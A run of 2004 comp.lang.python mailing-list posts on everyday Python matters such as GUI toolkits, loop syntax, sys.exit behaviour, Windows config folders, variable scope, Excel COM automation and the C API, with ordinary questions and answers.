> frustration with unfinished or dead projects but let's remember that
> for each successful project there will be hundreds that die off and there
> is nothing wrong with that. Survival of the fittest.
> 
> i.

Well it was part of my strategy of getting Python accepted into the
work place as a serious work tool. The early versions of ANYGUI were
very promising in the simplification of GUI interfaces. The command
line interface may be second nature in the Linux hacker world. But in
the "real" MS Windows business world it is not a "production level"
interface.

The true power of Python is in being able to do tasks, like lists and
dictionaries, without thinking about it very much, and without
fighting wild C pointers, or engaging in "in house" C++ class warfare
over what type of list classes and or structures we use this week.

Python is productive, but Python guis are a weak point, as is
compilation.

(Now really! How different are interpreters and linkers? Other than
everybody loves to design and write interpreters and few have ever
written a linker. My "FREE radical" idea is to define and generate
bytecodes that can be both interpreted and linked. Another one is to
dump all the C++ gui paradigms and get the assembly language game
programmers involved in creating a FAST gui programming language you
can use without spending 4 years reading the unclear out of date
documentation. Does QT really need 5000 plus widgets? Or would a
general purpose widget design language be better? I know gui
programming keeps many gui gurus employed, but doesn't "survival of
the fittest" mean constant challenge of the old guard? Flame away at
me. But the Emperors in these two programming areas have no clothes.
You can only wrap so many abstraction layers on top of interface
layers before you strangle yourself. And don't get me started on the
bizzare flavor of the week internet browser html flash asp js java
notjava C# mess!)

Programming productivity matters, the faster you can produce a
finished Windows program the happier the customer is. And you get all
those widgets you buy delivered to the store on time. Instead of half
built widgets laying on a stalled production line, while the packaging
machine GUI is locked up over night.

The academic side of the Python world may not appreciate the "time is
money" concerns. But if time didn't matter, I would write Windows apps
in X86 Assembly and get 100X perfomance increases over the slow
wxPython dll.

There still are a lot of older slower X86 machines running 24/7 on the
manufacturing floor. You don't need a 4GHZ machine to stamp date
codes. Waiting 2 minutes for wxPython to load while the boss stares at
the back of your neck makes Python look very bad. Gui4Cli pops right
up and can talk back and forth to other G4C guis and even other native
Windows apps that are running in the background.

And adding a custom gui for a monitoring program, to alert production
operators to catch a flakey machine in the act, is now childs play
instead of a 40 hour C++ gui programming nightmare weekend.

So I gambled on ANYGUI and lost, up until that point, the Python
community had not let me down. ANYGUI had a snazy graphic on it's
webpage and an active user and developers list going. And many people
seemed to be excitedly involved at the time.

More than anything, the book notice posted on the ANYGUI site in
August 2002 sealed the deal that ANYGUI was a "REAL" product.

I showed the "Practical Python" book to my boss. He liked the look of
it. Can I get a refund? At least rename it "Mythical Python". And
there has been NO notice on the website that the ANYGUI project has
been abandoned, just a "stay tuned" notice. The developers list seems
to have been abandoned by it's developers in August 2003.

Doesn't this "current" 2004 advert look like the "fittest" having
survived???
----------
>From Barnes and Noble 
----------
Practical Python is an indispensable guide for developers intent on
learning what they need to know to master the Python language.

- Author is well known for his online Python tutorials, Instant Python
and Instant Hacking, and is the founder and lead developer of Anygui,
a respected Python GUI unification project

- Ruthlessly focused on providing practical Python instruction,
foregoing those topics not of interest to mainstream developers
-----------

"a respected Python GUI unification project"???

Was all this just smoke and mirrors to sell a $50 book?

Is XML just the next hot book topic?

As a contrasting example, the pycurl webpage looked like a twenty
minute hand coded html job, yet pycurl has proven to be a reliable and
very useful aspect of the Python programming experience.

You can't judge a book by it's cover or a project by it's webpage
design or even a project by it being in an authoritative looking book.
So that is why I suggested some type of offical ranking page for
Python projects. Maybe others can avoid wasting time and effort in the
future.

The only consequence was that we were stuck with the SOW (Same Old
Way) method for a few more months. Until we found the FREE and well
documented Gui4Cli. We can now make simple gui changes in the Gui4Cli
script language in under half an hour. Most GUIs are also under 20K
bytes in size and using pycurl you can update the production floor
machine in seconds. For low to medium gui complexity Python with
Gui4Cli gets the job done. And it helps in testing out ideas that can
be later turned into full power C++ guis to handle higher data
collection and control rates.

So it turned out ANYGUI's failure to thrive, was as Martha Stewart
says: "a very good thing".

And now we almost don't know how we ever did things before we had
Python and Gui4Cli!

-- R.J.


From jcarlson at nospam.uci.edu  Thu Feb 19 16:41:29 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 13:41:29 -0800
Subject: PEP-315 ("do" loop)
In-Reply-To: <du7hdxmx2r9.fsf@mozart.cc.tut.fi>
References: <mailman.55.1076984559.31398.python-list@python.org>
	<c10dh7$agt$1@news.service.uci.edu>
	<du7hdxmx2r9.fsf@mozart.cc.tut.fi>
Message-ID: <c13an1$r2t$1@news.service.uci.edu>

> Amen to that! I think this is only a matter of education. People
> should be told that 'while 1' construct is a good, simple, pythonic
> way to do the thing. They are often prejudiced, thinking that there is
> something 'wrong' with the construct. Hearing that it's ok to do
> things this way can actually be very liberating: there is no reason to
> feel guilty, and they will quite soon learn to appreciate how natural
> and versatile the construct is.
> 
> Naming it 'loop' would drive the point even further, of course.

The nice thing about while is that it is general.  You can put anything 
that returns some value that can be tested for truthfulness, even 1 (as 
we like to do).  Changing the name alters the linguistic interpretation 
of what goes on.  Using "loop" would suggest a subsequent "until":

loop:
     #setup
     #loop internals
until <failure condition> | <not successful condition>

Which is clearer, but adds two keywords.  Though, like I said before, 
the while setup is perfectly understandable.

  - Josiah


From pinard at iro.umontreal.ca  Sun Feb 22 18:25:05 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Sun, 22 Feb 2004 18:25:05 -0500
Subject: Where can I post a new debugger?
In-Reply-To: <40392479@news.bezeqint.net>
References: <mailman.160.1077453987.27104.python-list@python.org>
	<6ee58e07.0402221348.46171b05@posting.google.com>
	<40392479@news.bezeqint.net>
Message-ID: <20040222232505.GA12140@titan.progiciels-bpi.ca>

> > "Ziaran _" <nir1408 at hotmail.com> wrote in message
> > > I have written a new debugger.
> > > I think people will find it useful.

> "Lothar Scholz" <llothar at web.de> wrote in message
> > What is so different from the existing ones ?

[Ziaran]
> http://ziaran.freehosting.net/

An URL is hardly an explanation, and alone, hardly an English sentence.
People should not have to start a browser merely to figure out an email.

You think people will find your new debugger useful?  Good for you!
Now, if you want us to think the same, you should tell us a little more.
Once interested, then we may start a browser :-).

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From dietrich at zdome.net  Sun Feb 15 20:31:15 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Sun, 15 Feb 2004 17:31:15 -0800
Subject: [OPINION] - does language really matter if they all do the
	samething?
In-Reply-To: <c0er3k$173hqr$1@ID-169208.news.uni-berlin.de>
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>	<028FD9F0-4E01-11D8-BB78-0003934ACDEC@zdome.net>	<4011C497.1040302@prescod.net>
	<mailman.726.1074923000.12720.python-list@python.org>
	<c0er3k$173hqr$1@ID-169208.news.uni-berlin.de>
Message-ID: <CF91FA6A-601F-11D8-9207-0003934ACDEC@zdome.net>

I was wrong about that example.  I thought I made that clear in a later 
post.  My point was that some paradigms are more Pythonic than others.  
I think the only good case I made was the 'choose-random' table.  I 
don't generally feel constrained by Python, but Python is simply not 
the right tool for every job.  When I want to write a program, I first 
think "How will this program work?" and then "What language most 
naturally expresses this idea?"

With the 'choose-random' problem, my first idea was to write a Python 
program.  I could not easily express my idea in Python.  I could 
express my idea in Lisp, therefore, I used Lisp.  I believe this 
decision to be rational.  In this case, I felt very constrained by 
Python.  My offer still stands: if anyone can express my idea in Python 
(not counting future versions of Python) in a way that is approximately 
as simple as how I expressed it in Lisp, I will post a picture of 
myself with "Python Rulz" written on my forehead.

Someone accused me of not using Python to its full potential.  I took 
that as tantamount to accusing me of being a bad programmer.  I had a 
point, gave a good example, a bunch of bad examples, and tried to avoid 
making it personal.  If anyone wants to go back and show how stupid 
some of my examples were, let me save you from wasting your precious 
free time: THOSE EXAMPLES WERE STUPID.  Now that there is NO 
DISAGREEMENT, I don't see how beating this poor dead horse is going to 
accomplish anything even by Usenet standards.  All those posts pointing 
out how stupid those examples were were all regurgitating the same 
information anyway.  As for the Lisp example, I have yet to see a 
Python implementation that stands up to even the most trivial 
inspection, so I don't expect to defend it any further.  In effect, the 
most productive thing that this thread can now accomplish is personal 
attacks and holy wars.

In order to reduce the amount of traffic on this list, I preemptively 
call anyone responding to this message either wrong or troll, so I 
don't have to explicitly write that as a response.

The previous paragraph is not intended to be serious.




From miki.tebeka at zoran.com  Mon Feb 16 06:48:50 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 16 Feb 2004 03:48:50 -0800
Subject: Stopping a program
References: <b4a8ffb6.0402151600.70e2c173@posting.google.com>
	<b4a8ffb6.0402151923.7864d228@posting.google.com>
Message-ID: <4f0a9fdb.0402160348.7ee6760@posting.google.com>

Hello Thomas,

> A follow up to the question posed above: I discovered sys.exit() and
> played around it. I find that it exhibits different behaviors
> depending on whether the program is run from IDLE or fron the command
> line.
sys.exit just raises SystemExit exception.
IDLE catches this exception and shows the traceback as it does to
every other exception (try `raise OSError' in IDLE).
In the command line raising SystemExit will quit the interpreter. If
you just click on the .py file from the explorer it will close after
executing the program. If you want to view what happened add
`raw_input()' just before raising SystemExit.

For most cases raising SystemExit does what you want. Just remember
the IDLE does not emulate the command prompt.

HTH.
Miki


From theller at python.net  Tue Feb 17 03:29:18 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 17 Feb 2004 09:29:18 +0100
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain> <4qtqi1wt.fsf@python.net>
	<j1kYb.63374$Wa.7645@news-server.bigpond.net.au>
Message-ID: <wu6mglcx.fsf@python.net>

"Neil Hodgson" <nhodgson at bigpond.net.au> writes:

> Thomas Heller:
>
>> It is getting off-topic, but I still believe that pythonw.exe should be
>> improved to show errors in a console window which opens as soon as the
>> first output is written to sys.stderr (and sys.stdout also, maybe).
>
>    So if it is being redirected or captured by another application, such as,
> say, SciTE, then an extra console window will open up?

No, that is not the intent.  Can this case be detected somehow?

Thomas


From Mike at DeleteThis.Geary.com  Fri Feb  6 02:15:30 2004
From: Mike at DeleteThis.Geary.com (Michael Geary)
Date: Thu, 5 Feb 2004 23:15:30 -0800
Subject: where should config files go in Windows?
References: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
	<mailman.1140.1075749926.12720.python-list@python.org>
	<rowen-FAB8EF.11173504022004@nntp6.u.washington.edu>
Message-ID: <1026fokdfis287b@corp.supernews.com>

> >See the MSDN documentation for the various folders which are defined.
> >
>
>http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/pl
atform/shell/reference/functions/shgetfolderpath.asp

> Thank you very much! That's just what I wanted. I'll put preferences
> <AppData>\TUIPrefs, optional user additions in <AppData>\TUIAdditions
> and optional shared additions in <Common_AppData>\TUIAdditions.

I'd like to suggest creating only a single folder under Application Data,
with additional folders inside it for your specific needs. The usual
convention is to create a folder with your company name, then additional
folders inside that for each product, and finally folders inside those for
things like your TUIPrefs and TUIAdditions.

Also, make careful note of the difference between Application Data and Local
Settings\Application Data. On most machines, it doesn't matter which of
those you use. But if someone uses "roaming profiles", then you need to
choose which of those folders to use. Application Data is part of the
roaming profile, and it gets copied from a server when the user logs in, and
back to the server when the user logs out. Local Settings\Application Data
resides strictly on the local machine.

-Mike




From guettli at thomas-guettler.de  Tue Feb 17 10:25:44 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Tue, 17 Feb 2004 16:25:44 +0100
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
Message-ID: <pan.2004.02.17.15.25.44.525912@thomas-guettler.de>

Am Tue, 17 Feb 2004 08:43:15 -0800 schrieb Fred Mailhot:

> Hi...
> 
> Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
> would be much appreciated.

Why do you want to do this?
 - Improve speed
 - hide your source code
 ...

 thomas


From peter at cendio.se  Tue Feb 17 13:38:33 2004
From: peter at cendio.se (Peter Astrand)
Date: Tue, 17 Feb 2004 19:38:33 +0100 (CET)
Subject: [Announce] pyobfuscate
In-Reply-To: <40323466.8050805@prescod.net>
Message-ID: <Pine.LNX.4.44.0402171934030.11756-100000@bornholm.lkpg.cendio.se>

> It is not entirely uncommon to write python code that depends on exact 
> method or variable names:
> 
> if hasattr(obj, "somemethod"):
> 	doOneThing()
> else:
> 	doSomethingElse()
> 
> Will the pyobfuscate break code like this?

Currently, pyobfuscate does not change method names. So this should work. 
There are probably other cases with hasattr() and getattr() that fails, 
though. 


-- 
Peter ?strand		www.thinlinc.com
Cendio			www.cendio.se
Teknikringen 3		Phone: +46-13-21 46 00
583 30 Link?ping







From pantsmetalkid at charter.net  Sat Feb 21 00:59:50 2004
From: pantsmetalkid at charter.net (John)
Date: Sat, 21 Feb 2004 00:59:50 -0500
Subject: New user needs help
References: <103dqa9m48nj792@corp.supernews.com>
	<64CZb.19719$wD5.7887@nwrddc03.gnilink.net>
Message-ID: <103dsrej8i54s3a@corp.supernews.com>

Thank you very much. This solved the problem. I now see where the problem
was. This was driving me bonkers! I'm sure I will post here frequently so
thanks in advance for everyone's help.

"omission9" <omission9 at invalid.email.info> wrote in message
news:64CZb.19719$wD5.7887 at nwrddc03.gnilink.net...
> John wrote:
>
> > I am new to using Python. Everytime I run this program it prints "The
lowest
> > common factor is 0", no matter what numbers I use. Can anybody see
anything
> > wrong with my program? Thanks in advance.
> >
> >
> >
> > def getnum1(a):
> >     a = input("What is the first number?")
> >     if a == 0:
> >         getnum1(a)
> > def getnum2(b):
> >     b = input("What is the second number?")
> >     if b == 0:
> >         getnum2(b)
> > def euclid(num1, num2, num3, num4):
> >     if num1 < num2:
> >         num3, num4 = num1, num2
> >         num1, num2 = num4, num3
> >         euclid(num1, num2, num3, num4)
> >     elif num2 != 0:
> >         num3, num4 = num1, num2
> >         num1 = num4
> >         num2 = num3 % num4
> >         euclid(num1, num2, num3, num4)
> >     else:
> >         print "The lowest common factor is: ", num1
> > a = 0
> > getnum1(a)
> > b = 0
> > getnum2(b)
> > x, y = 2, 100
> > euclid(a, b, x, y)
>
> This is a nice simple example of what is called "scope" and how it can
> trick a beginner.
> Put as simply as possible,"a" and "b" are actually defined twice. Once
> "locally" in the getnum functions and another time "globally" . When you
> set a and b to the user input in the functions the other a and b have no
> idea about this assignment. Below is a slight revision which return the
> a and b set by the user back to where they are called. By putting a
> simple print statement in the script you can see where the values are
> set and that can help you.
> I hope that helps. There is probbaly a couple of other changes you could
> make as well but nothing too major, in my opinion.
>
>
> def getnum1(a):
>      a = input("What is the first number?")
>      if a == 0:
>          getnum1(a)
>      return a
> def getnum2(b):
>      b = input("What is the second number?")
>      if b == 0:
>          getnum2(b)
>      return b
> def euclid(num1, num2, num3, num4):
>      print num1, num2, num3, num4
>      if num1 < num2:
>          num3, num4 = num1, num2
>          num1, num2 = num4, num3
>          euclid(num1, num2, num3, num4)
>      elif num2 != 0:
>          num3, num4 = num1, num2
>          num1 = num4
>          num2 = num3 % num4
>          euclid(num1, num2, num3, num4)
>      else:
>          print "The lowest common factor is: ", num1
> a = 0
> b = 0
> a=getnum1(a)
> b=getnum2(b)
> x, y = 2, 100
> euclid(a, b, x, y)
>




From peter at engcorp.com  Thu Feb 26 09:36:22 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 09:36:22 -0500
Subject: Is MVC architecture applicable for web environment??
References: <f046efac.0402260204.2ed4588b@posting.google.com>
Message-ID: <403E0466.59781611@engcorp.com>

ketulp_baroda at yahoo.com wrote:
> 
> Is the true mvc architecture ( with observer-observable pattern as
> implemented in JAVA) not applicable for web environment??
> I mean to say that the HTTP protocol is request/response based so
> there is no notion of an "event" being notified ...
> whereas the observer-observable pattern is based on event.

Google might help you:

http://www.google.ca/search?q=mvc+architecture+web


From nuffsaid at phreaker.net  Tue Feb  3 05:48:36 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Tue, 03 Feb 2004 11:48:36 +0100
Subject: Variable scope within a class
References: <401f72f4$0$9388$ed9e5944@reading.news.pipex.net>
Message-ID: <pan.2004.02.03.10.48.35.332327@phreaker.net>

On Tue, 03 Feb 2004 10:11:43 +0000, Graham wrote:

> How do I make a variable available to code *inside* my class in such a way
> that it is available to all defs in the class? In my example below f is not
> accessible within the showVars method.

It depends on whether you want to have a class variable or an instance
variable; looking at the following variation of your code should make
clear the difference:

class myClass:
    f = [1, 2, 3]
        
    def showVars(self):
        print self.f


class myClass2:
    def __init__(self):
        self.f = ['a', 'b']
        
    def showVars(self):
        print self.f

            
print myClass.f

myc = myClass()
myClass.f = [4, 5, 6]
myc.showVars()

myc2 = myClass2()
myClass2.f = ['c', 'd']  # this f is created here!!!
print myClass2.f
myc2.showVars()


+++ OUTPUT +++

[1, 2, 3]
[4, 5, 6]
['c', 'd']
['a', 'b']


Remark: 'Normally', you want something like myClass2.

HTH / Nuff



From jjl at pobox.com  Sun Feb  1 18:59:02 2004
From: jjl at pobox.com (John J. Lee)
Date: 01 Feb 2004 23:59:02 +0000
Subject: Loading a Cookie from a Dictonary
References: <401d6deb$0$49109$8f4e7992@newsreader.goldengate.net>
Message-ID: <87wu76ic6x.fsf@pobox.com>

"Michael Sampson" <samp0082_at_umn_dot_edu> writes:

> I'm using the Cookie module.
> Say I have something that looks like this
> 
> import Cookie
> c = Cookie.Cookie()
> c.load(aDictonary)
> 
> What would the format of aDictornary be, I've looked around the net and I
> can only find examples on how to format the input to load if it is a string.
> The best info on this I could find is
[...]

What are you actually trying to accomplish?

Server?  Client?


John


From theller at python.net  Mon Feb  9 05:22:07 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 11:22:07 +0100
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net>
	<mailman.1354.1076278386.12720.python-list@python.org>
Message-ID: <3c9kv9gw.fsf@python.net>

Sean Legassick <sean at datamage.net> writes:

> In message <y8rh9zfx.fsf at python.net>, Thomas Heller
> <theller at python.net> writes
>>But I was very astonished to see that no other mail/news client I have
>>examined allows customizing the From: address depending on the folder or
>>group you are currently in.  Can that really be true?
>
> Turnpike does <http://www.demon.net/turnpike/>. It costs about UKP15
> and there's no eval version, which is terrible marketing on Demon's
> behalf. It's a wonderful email and news client with all kinds of great
> features (ok, I was responsible for redesigning the UI during my time
> at Demon so I'm somewhat biased...)

Thanks.  Maybe I'll try it out some time.
Although Mozilla Thunderbird now also seems to support multiple
identities.

Thomas


From phleum_nospam at chello.se  Sun Feb  8 03:31:11 2004
From: phleum_nospam at chello.se (Carl)
Date: Sun, 08 Feb 2004 09:31:11 +0100
Subject: How to make a Gaussian Fit?
References: <40258ecd$0$16818$a729d347@news.telepac.pt>
Message-ID: <ftmVb.3341$O41.90180@amstwist00>

Xcal wrote:

> Anyone knows how to make a Gaussian fit to a histogram data using Python,
> or where I can find a library that helps me in this task?
> 
> Tks everyone...
> 
> Paxcal

Install the Numeric module, then

>>> import MLab
>>> a = range(10)
>>> mean = MLab.mean(a)
4.5
>>> standard_deviation = MLab.std(a)
3.0276503540974917

Carl


From jorgencederberg at hotmail.com  Mon Feb  2 05:00:12 2004
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Mon, 02 Feb 2004 11:00:12 +0100
Subject: Get number of iteration
In-Reply-To: <mailman.993.1075393615.12720.python-list@python.org>
References: <bvbbd7$9rv$01$1@news.t-online.com>
	<mailman.993.1075393615.12720.python-list@python.org>
Message-ID: <pcpTb.1002$ih3.651@news.get2net.dk>

Jeff Epler wrote:
> You're looking for the "enumerate" builtin function in 2.3.
> 
>     for i, x in enumerate(l):
>         print x
>         print i
>         print "next"
> 
> You can define a "poor man's" enumerate in 2.2:
> 
>     def enumerate(seq):
>         return zip(range(len(seq)), l)

Just nitpicking... :), but I guess you ment:

def enumerate(seq):
     return zip(range(len(seq)), seq)

/Jorgen


From P at draigBrady.com  Thu Feb 19 09:20:19 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Thu, 19 Feb 2004 14:20:19 +0000
Subject: os.popen
In-Reply-To: <c12ea1$ivs$1@solaris.cc.vt.edu>
References: <c12ea1$ivs$1@solaris.cc.vt.edu>
Message-ID: <4034C623.3030206@draigBrady.com>

Bart Nessux wrote:
> When using os.popen, at what point is the process actually started? Take 
> the example below... would the first or second line actually execute the 
> command? If it's the first line, then why would I want to use the second 
> line at all unless I wanted to see on the console what happened?
> 
> ping = os.popen('sh ./ping.sh')

this will run until the buffer between the ping process and the python
app is full. This is 4k under linux. Then the ping process will block
until data is read as there is no where to put it's output.

> ping.read()

This will read what's currently in the buffer between the processes.
You will need to do this in a loop.

alternatively if you don't care about the output then you
can throw it away, and hence remove the need for the ping.read() like:

ping = os.popen("sh ./ping.sh > /dev/null")

 > ping.close()

This will wait for the ping process to finish.

To tell it to finish you will need to do something like:
   ping = popen2.Popen3("sh ./ping.sh > /dev/null")
   os.kill(ping.pid, signal.SIGTERM)
   ping.wait()

-- 
P?draig Brady - http://www.pixelbeat.org



From claird at lairds.com  Fri Feb 20 09:24:18 2004
From: claird at lairds.com (Cameron Laird)
Date: Fri, 20 Feb 2004 14:24:18 -0000
Subject: Python + Visual Basic
References: <54073b3d.0402200605.1e2f00d1@posting.google.com>
Message-ID: <103c64i9q9c1n98@corp.supernews.com>

In article <54073b3d.0402200605.1e2f00d1 at posting.google.com>,
Davide <davide_bozza at hotmail.com> wrote:
>Hi,
>I am just a beginner with Python and I am interested to know
>if someone used it to build COM components while GUI was made
>in VB in a "real" application.
>I made some experiments and results are good so I would like
>to know if it is all OK or someone faced to some unexpected problems.
			.
			.
			.
Not only have others done so successfully, but, four years ago,
Mark Hammond and Andy Robinson published an acclaimed book <URL:
http://www.oreilly.com/catalog/pythonwin32/ > on this and re-
lated themes.  Yes, you should anticipate success with your
experiments.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From mogmios at mlug.missouri.edu  Sat Feb 28 17:34:26 2004
From: mogmios at mlug.missouri.edu (Michael)
Date: Sat, 28 Feb 2004 14:34:26 -0800
Subject: detecting the operating system
In-Reply-To: <c1mtcj$ofv$1@news-int.gatech.edu>
References: <c1mtcj$ofv$1@news-int.gatech.edu>
Message-ID: <40411772.5040804@mlug.missouri.edu>

Checking sys.platform is easy enough. I use it to figure out if I'm 
running on Linux or Windows. For Linux I take the users home directory 
to put files in. In Windows I check the registry to find out the 
location of My Documents and then save files there. Checking the Windows 
registry is a little more work but can make your programs work quite 
nicely in Windows.

>OK, I tried a Google search on this Usenet group but couldn't find a
>solution, so I'm posting my question here (if there's a better archive than
>the one in Google, please let me know).
>
>Does anybody know how to detect the operating system under which the current
>Python program is running, especially whether it's Windows or Unix? I have a
>program that needs to search for files in "c:\test" if it's running under
>Windows, and "/home/user/test" if it's running under Unix, so the simplest
>solution I can think of is to detect the operating system, but if anyone
>could suggest a workaround, that would also be fine.
>



From mjordan at adobe.com  Tue Feb 10 19:23:53 2004
From: mjordan at adobe.com (Michael Jordan)
Date: Wed, 11 Feb 2004 00:23:53 GMT
Subject: pywin32 COM Problem with Excel Range Offset?
Message-ID: <tCeWb.1421$VP1.966333@newshog.newsread.com>

I'm hoping that someone here can give me some insight into a problem I'm
running into with Python, pywin32 and Excel. All-in-all using Python and
pywin32 is great but I've run into a strange problem with the range Offset
property, I'm not getting the correct offset and the returned range is a
single cell and not the same size as the original range.

For example, when I enter the following lines of code in PythonWin :

from win32com.client import Dispatch
xlApp = Dispatch('Excel.Application')
xlApp.Visible = 1
rng1 = xlApp.Range(xlApp.Cells(8,3),xlApp.Cells(20,6))
rng1.Select()
rng2 = rng1.Offset(2,2)
rng2.Select()

rng1 correctly defines and selects cells C8:F20 but rng2 is incorrectly
defined as D9 instead of E10:H22.

Digging a little further if I look at the cell sizes for the two ranges I
get the following:

>>> rng1.Count
52
>>> rng2.Count
1

What's going on with the Offset property? If I enter the equivalent VBA code
into the Immediate window from the Visaul Basic Editor within Excel I get
the correct behavior. Is this a pywin32 bug?

My configuration:
    pywin32 (build 200) {I got the lastest version to see if this would fix
the problem - it didn't}
    Python 2.3.3
    MS Excel 2002
    Windows XP

Any insight into this problem will be greatly appreciated.

Michael




From geensys at yahoo.com  Sat Feb 28 08:41:47 2004
From: geensys at yahoo.com (Ori Y)
Date: Sat, 28 Feb 2004 05:41:47 -0800 (PST)
Subject: prob. creating deeply nested structures in Py/c api
Message-ID: <20040228134147.3336.qmail@web21404.mail.yahoo.com>

Hi , i'm having some difficulties regarding using the Python/c api.
 
I'm trying to bulid a deeply nested datastructure (i.e dict within a dict or list within a dict)
Building the data stracture seems ok on interperter, but after few calls to the method
returning the structure, and aft applying the Ctrl+D to exit interperter
 i receive a 'segmentation fault'. ?#
Further more when calling the program from python i receive the dictionary as a string!
"{foo: {1:'blah, 2:'boo'}, bar:1}"     (i have a feeling these problems are related).
 
I'm using python 2.3 on a RH9 Linux machine.
Advise would be very much appriciated.
 
Here is a shorter example of the consept  i'm trying to do :
 
static *PyObject blah (something)
{
  PyObject *dict1;
  PyObject *dict2;
  long x;
 
 dict1 = PyDict_New();
 dict2 = PyDict_New();
 x = 1;
 
PyDict_SetItem(dict1, PyString_FromString("foo"),PyInt_FromLong(x)); //setting first dict
 
//setting dict1 in dict2 and returning dict2

PyDict_SetItem(dict2, PyString_FromString("blah"),dict1); 
// expected {blah:{foo:1}}
 
 
 



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From sridharinfinity at yahoo.com  Wed Feb 11 08:28:02 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 11 Feb 2004 05:28:02 -0800
Subject: efficient way for building class browsers.
References: <930ba99a.0402071805.15b90424@posting.google.com>
	<c04nvs$h6j$1@news.service.uci.edu>
Message-ID: <930ba99a.0402110528.7918e3f5@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c04nvs$h6j$1 at news.service.uci.edu>...
> > I am looking for a class browser that has these features.
> 
> Only a browser?  Text or GUI?  What OS?  Any particular GUI toolkit?

   IDE. Linux,Windows,Mac. PyGTK

> > Remember I need a class browser, that also tells me the line no in
> > source code of that symbol. (So compiler module  (ast) can't be used -
> > Is it so? )
> 
> compiler.ast can be used for this, but only produces proper results when 
> the file has no syntax errors.  Don't get me wrong, using the output of 
> compiler.ast can be a pain in the ass, and slow as hell (5 seconds for 
> 100k of source on a celeron 400), but it can be used.
> 
> > Are there any better ways for achieving this?
> 
> You can write a limited parser (subject to certain flaws), one that 
> doesn't use tokenize or compiler.ast, and get pretty fast results.  I 
> wrote one to go into my own editor PyPE (pype.sourceforge.net), and it 
> has no problems parsing a 100k Python source file and displaying the 
> source tree in a GUI in less than 1/2 second on a celeron 400.
> 

   I'll try that.  I have come across tagmanager (C) code written for
the Anjuta (http://anjuta.org) project.  I should give it a try too.

> It wouldn't be too bad to pull the tree portion out, what kind of 
> browser do you need?

   I will put it in brief.  The class browser can't support all
standard and third party python packages, since most of them is
available as shared objects.  So mine is focused only on the current
project, i.e. user created (or application) python files.  So the
browser should be able to fetch the tags (class, functions, methods)
from source code along with the line number information.  That's all
about.  Any further possiblities in this regard is also expected.

>   - Josiah


From peter at engcorp.com  Wed Feb 11 12:31:49 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 12:31:49 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
	<mailman.1471.1076515543.12720.python-list@python.org>
Message-ID: <402A6705.A1C3A9B5@engcorp.com>

Skip Montanaro wrote:
> 
>     Facundo> #-     Warnings...
>     Facundo> #-
>     Facundo> #-     foo.py:4: Statement appears to have no effect
> 
>     Facundo> Why "appears"?
> 
> I think Neal was just being conservative when he wrote that.  In fact, today
> with properties and such, just the act of getting an attribute can have side
> effects.  Determining for sure that there were no side effects would
> probably require a lot more analysis, if it's even possible to determine
> without actually executing the code.

Or one might say he wrote that from the point of view of a code
reviewer experienced with Python.  Yes, the statement *appears* to
have no effect, and therefore if it really does have an effect it
is a surprising result, and certainly something PyChecker should
be pointing out in case it was in fact wrong.

-Peter


From jcarlson at nospam.uci.edu  Thu Feb 12 15:49:47 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 12 Feb 2004 12:49:47 -0800
Subject: software design question
In-Reply-To: <c0gkp7$sm$0@216.39.172.122>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<95aa1afa.0402102316.60fb3c22@posting.google.com>
	<c0cmqg$3c8$1@news.service.uci.edu> <c0gkp7$sm$0@216.39.172.122>
Message-ID: <c0gp1t$rf9$1@news.service.uci.edu>

> A quick data point:
> 
>  >>> import os
>  >>> wc = os.popen(r'wc D:\Python23\Lib\*py').readlines()
>  >>> sum([int(x.split()[0]) for x in wc[:-1] if x])/float(len(wc)-1)
>  412.61621621621623
>  >>> print wc[-1]
>        76334     250898    2657018       Totals
> 
> Gotta go...

I'm going to have to remember wc.  That is sweet.

  - Josiah


From jbublitzno at spamnwinternet.com  Sun Feb 15 02:47:33 2004
From: jbublitzno at spamnwinternet.com (Jim Bublitz)
Date: Sun, 15 Feb 2004 07:47:33 GMT
Subject: PyKDE/PyQT/SIP
References: <402ed5d0$0$14898$afc38c87@news.optusnet.com.au>
Message-ID: <LuFXb.26744$PR4.2729088102@twister2.starband.net>

Sam wrote:

> Hey people,

> I am trying to install these modules to play around with KDE
> panel applets, but I am beginning to think it's too much
> trouble to be worth it.
 
> I've installed PyQT (as well as the PyQT-devel rpm, which is
> apparently needed if I install PyQT from an rpm), PyKDE and the
